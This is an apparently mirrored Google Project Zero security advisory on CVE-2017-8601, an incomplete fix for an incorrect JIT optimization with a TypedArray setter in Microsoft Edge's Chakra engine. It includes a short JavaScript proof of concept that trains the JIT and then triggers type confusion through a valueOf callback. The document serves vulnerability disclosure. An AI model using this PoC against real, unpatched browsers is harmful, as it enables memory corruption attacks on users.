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Microsoft Edge Chakra Incorrect Jit Optimization

Microsoft Edge Chakra Incorrect Jit Optimization
Posted Aug 17, 2017
Authored by Google Security Research, lokihardt

Yet another finding that the fix for an incorrect jit optimization with TypedArray setter in Microsoft Edge Chakra may not be sufficient.

tags | exploit
advisories | CVE-2017-8601
MD5 | bdb1cf3e206e20716cc1331d5db8586b

Microsoft Edge Chakra Incorrect Jit Optimization

Change Mirror Download
Microsoft Edge: Chakra: incorrect jit optimization with TypedArray setter #3

CVE-2017-8601


Coincidentally, Microsoft released the patch for the <a href="/p/project-zero/issues/detail?id=1290" title="Microsoft Edge: Chakra: incorrect jit optimization with TypedArray setter #2" class="closed_ref" rel="nofollow"> issue 1290 </a> the day after I reported it. But it seems they fixed it incorrectly again.

This time, "func(a, b, i);" is replaced with "func(a, b, {});".

PoC:
'use strict';

function func(a, b, c) {
a[0] = 1.2;
b[0] = c;
a[1] = 2.2;
a[0] = 2.3023e-320;
}

function main() {
let a = [1.1, 2.2];
let b = new Uint32Array(100);

for (let i = 0; i < 0x1000; i++)
func(a, b, {}); // <<---------- REPLACED

func(a, b, {valueOf: () => {
a[0] = {};

return 0;
}});

a[0].toString();
}

main();

Tested on Microsoft Edge 40.15063.0.0(Insider Preview).

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.




Found by: lokihardt

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